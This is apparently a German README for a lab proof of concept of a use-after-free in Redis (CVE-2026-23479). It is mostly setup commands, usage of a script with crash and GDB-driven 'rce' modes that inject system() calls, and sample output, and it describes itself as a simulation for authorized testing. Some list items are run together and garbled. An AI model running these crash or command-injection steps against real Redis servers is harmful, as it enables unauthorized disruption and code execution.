
Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke)
Use-After-Free in Redis
unblockClientOnKey()führt zu Remote Code Execution
Proof of Concept mit GDB-unterstützter Ausnutzung (nur für Bildungs- / Laborzwecke)
CVE-2026-23479 ist eine kritische Use-After-Free (UAF)-Schwachstelle in Redis-Versionen 7.2.0 bis 8.6.2.
Der Fehler befindet sich in unblockClientOnKey(), das processCommandAndResetClient() aufruft, ohne dessen Rückgabewert zu prüfen.
Wenn der Client während dieses Aufrufs freigegeben wird (z. B. durch Eviction), arbeitet der Aufrufer weiter mit einem hängenden Zeiger → UAF.
Ein Angreifer, der den Heap nach der Freigabe formen kann, könnte beliebige Codeausführung erreichen.
Dieses Repository stellt einen GDB-unterstützten PoC bereit, der:
freeClient()-Aufruf)system()-Aufruf an derselben Stelle injiziert⚠️ Wichtig: Dies ist kein weaponisierter Exploit. Er verwendet GDB in einem privilegierten Docker-Container, um zu simulieren, was ein echter Angreifer nach erfolgreicher Ausnutzung der Schwachstelle erreichen könnte. Verwenden Sie ihn nur in Ihrem eigenen Labor oder auf Systemen, für die Sie ausdrücklich eine Testgenehmigung haben.
https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea
crash, gdb, rce, full--container übergebenXREAD BLOCK-Befehl lässt den Client auf Stream-Daten warten.pid 1) im Container an.processCommandAndResetClient – die Funktion, die aufgerufen wird, wenn der blockierte Client erneut verarbeitet wird.XADD auf denselben Stream weckt das Opfer auf.gdb-Modus: ruft freeClient($rdi) auf → verursacht absichtlich einen SIGSEGV → beweist UAF.rce-Modus: ruft system("Ihr Befehl") auf → führt beliebige Shell-Befehle als Redis-Benutzer aus (root standardmäßig).Der Breakpoint wird jedes Mal ausgelöst, wenn ein blockierter Client entblockiert wird, was zeigt, dass derselbe Codepfad, der die UAF enthält, auch Codeausführung ermöglicht.
| Branch | Verwundbarer Bereich |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Das Skript parst automatisch die Redis-Version und meldet, ob sie verwundbar ist.
apt verwendet (z. B. das offizielle redis:8.6.2)--privileged erstellt werden (erforderlich für ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modus | Beschreibung |
|---|---|
crash | Versucht, UAF über Speicherdruck auszulösen (kein GDB erforderlich). Redis kann abstürzen, aber nicht garantiert. |
gdb | Hängt GDB an und ruft freeClient() am Breakpoint auf → erzwingt einen SIGSEGV (beweist UAF). |
rce | Hängt GDB an und ruft system(cmd) am Breakpoint auf → führt einen Shell-Befehl im Container aus. |
full | Führt zuerst crash aus; wenn Redis nicht abstürzt, wird auf gdb zurückgegriffen. |
| Argument | Standard | Beschreibung |
|---|---|---|
target | (erforderlich) | IP-Adresse des Redis-Servers |
-p, --port | 6379 | Redis-Port |
-m, --mode | full | Einer von crash, gdb, rce, full |
--container | env-redis-vuln-1 | Docker-Containername |
--cmd | id > /tmp/pwned_by_cve | Befehl, der im rce-Modus ausgeführt wird |
Hinweis: Alle Befehle werden vom Host-Rechner ausgeführt, nicht im Docker-Container.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis wird nach dem Segmentation Fault abstürzen.
Container neu starten:
docker start redis-vuln-local
Redis neu starten, um einen sauberen Zustand sicherzustellen:
docker restart redis-vuln-local
Exploit ausführen:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Proof-Datei überprüfen:
docker exec redis-vuln-local ls -l /tmp/pwned
Bei Erfolg existiert die Datei, was beweist, dass:
system("touch /tmp/pwned");
im Redis-Container ausgeführt wurde.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Wenn Redis unerwartet beendet wird (der Container läuft nicht mehr), wurde die UAF wahrscheinlich ausgelöst.
Neu starten mit:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Dieser Modus:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned